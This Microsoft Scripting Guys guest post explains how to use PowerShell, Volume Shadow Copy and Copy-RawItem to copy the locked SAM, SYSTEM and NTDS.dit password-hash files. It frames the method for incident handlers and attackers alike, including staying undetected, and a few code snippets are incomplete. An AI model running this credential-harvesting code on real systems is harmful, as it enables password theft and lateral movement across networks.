Using the Windows API and Copy-RawItem to Access Sensitive Password Files

Doctor Scripto

Summary: Guest blogger, Chris Campbell, shows how to use the Windows API and Copy-RawItem to access sensitive password files.

Microsoft Scripting Guy, Ed Wilson, is here. Today we have a guest blog by Chris Campbell. Chris is a security researcher and penetration tester who has spoken at several major security conferences, such as BlackHat and Derbycon. He is a former U.S. Army officer, and he holds a master’s degree in Information Assurance from Capitol College, in addition to industry certifications, such as CISSP and MCSE. Chris contributes to the PowerSploit project, and he is a Windows PowerShell fanatic.

Chris’ contact info:

Twitter: @obscuresec

Take it away, Chris…

In previous posts, Matt Graeber thoroughly discussed how to use Windows PowerShell to interact with the Windows API, and he wrote the example Copy-RawItem function. This function copies files by using DeviceObject paths, which is not supported by built-in cmdlets. Let’s use the function to demonstrate why the reflection method is so useful to security researchers, incident handlers, and unfortunately, hackers.

In most cases, the reflection method of interacting with the Windows API requires more code and headache. Why would anyone use it? Matt briefly mentioned that it helps minimize the forensic footprint of the script, but what does that mean and why is it important? Maintaining a minimal footprint is important to an attacker and to an incident handler.

Attackers want to remain undetected by antivirus software, avoid leaving evidence of their presence in logs, and avoid leaving other forensic artifacts. For example, the Add-Type method of interacting with the Windows API calls the C# compiler (csc.exe) and leaves several files on the disk that could be discovered. Conversely, incident handlers need to avoid alerting the attacker to their presence and corrupting potential evidence. Both sides are concerned with maintaining a minimal footprint.

Now that we know why, let’s look at a common problem and how we can use the aforementioned function to help solve it. After attackers compromise a system, they may want to pivot to other systems by utilizing the user names and passwords located on the box. Those passwords may be used on other machines, and the attacker could potentially use WMI, PsExec, or a remote desktop to gain access to other enterprise machines and (potentially) to critical business data.

In the case of a domain controller, the attacker has access to every user name and associated password hash within the domain. Or maybe you know that an attacker has changed a local account’s password, and you want to use that as a signature to detect that attacker’s presence on other machines. Either way, the safest way of gaining access to the hashes is to utilize the Volume Shadow Copy service to access the password database files. There are many other ways, but most of them involve methods that are dangerous to the stability of the system. The earliest reference to this method comes from Using Shadow Copies to Steal the SAM. However, recovering the password hashes from the files is beyond the scope of this post.

Password hashes are stored in the SAM file for most computers running Windows, and in the NTDS.DIT file for domain controllers. Both of these files are protected system files, which are locked and can’t be accessed even with full “nt authority\system” privileges.

Image of command output

We will get around this, but our first task is to figure out what type of machine we are on and what drive the system files are stored on. If we are on a domain controller, we need to figure out where the DSA database file is stored because its location is often changed to another partition. This can be accomplished by querying DomainRole from the Win32_ComputerSystem WMI class, and peaking in the registry:

#Check to see if we are on a DC

$DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole

$IsDC = $False

  if ($DomainRole -gt 3) {

     $IsDC = $True

     $NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters).”DSA Database File”

        $FileDrive = ($NTDSLocation).Substring(0,3)

    } else {$FileDrive = $Env:HOMEDRIVE + ‘\’}

The best forensic situation is if the VSS service is already running and there has been a recent back-up file created. However, in the case where an attacker just changed a password, it is unlikely. We need to create a new backup or snapshot. But first, we need to check to see if the Volume Shadow Copy service is running, and if not, we need to start it. There is also a possibility that the service has been disabled, so we also need to handle that. This script requires local administrative rights on the machine to interact with services.

#Get “vss” service startup type

$VssStartMode = (Get-WmiObject -Query “Select StartMode From Win32_Service Where Name=’vss'”).StartMode

if ($VssStartMode -eq “Disabled”) {Set-Service vss -StartUpType Manual}


#Get “vss” Service status and start it if not running

$VssStatus = (Get-Service vss).status

if ($VssStatus -ne “Running”) {Start-Service vss}

Now, we need to take a snapshot of the system drive, collect the snapshot’s location or possibly return a meaningful error:

#Create a volume shadow filedrive

$WmiClass = [WMICLASS]”root\cimv2:Win32_ShadowCopy”

$ShadowCopy = $WmiClass.create($FileDrive, “ClientAccessible”)

$ReturnValue = $ShadowCopy.ReturnValue


if ($ReturnValue -ne 0) {

  Write-Error “Shadow copy failed with a value of $ReturnValue”




#Get the DeviceObject Address

$ShadowID = $ShadowCopy.ShadowID

$ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject

Finally, we can use the Copy-RawItem function to copy the sensitive files from the snapshot to a location that we can access. We could call copy.exe via Invoke-Expression:

Invoke-Expression (cmd.exe /c copy ($SamPath) ($Path))

However, this method is far from elegant and not ideal for our intended goal. Let’s avoid calling an external binary by using the reflection example from the previous post:

  #If not a DC, copy System and SAM to specified directory

        if ($IsDC -ne $true) {

            $SamPath = Join-Path $ShadowVolume “\Windows\System32\Config\sam”

            $SystemPath = Join-Path $ShadowVolume “\Windows\System32\Config\system”


            #Utilizes Copy-RawItem from Matt Graeber

            Copy-RawItem $SamPath “$DestinationPath\sam”

            Copy-RawItem $SystemPath “$DestinationPath\system”

        } else {


            #Else copy the NTDS.dit and system files to the specified directory           

            $NTDSPath = Join-Path $ShadowVolume “\Windows\NTDS\NTDS.dit”

            $SystemPath = Join-Path $ShadowVolume “\Windows\System32\Config\system”


            Copy-RawItem $NTDSPath “$DestinationPath\ntds”

            Copy-RawItem $SystemPath “$DestinationPath\system”


Now we can put it all together and have a function to get passwords files:

Image of command output

The complete script is uploaded on the Scripting Guys Script Repository: Get-PasswordFile.


Thanks, Chris! Join me tomorrow when I will talk about more cool Windows PowerShell stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 


Discussion is closed.

Feedback usabilla icon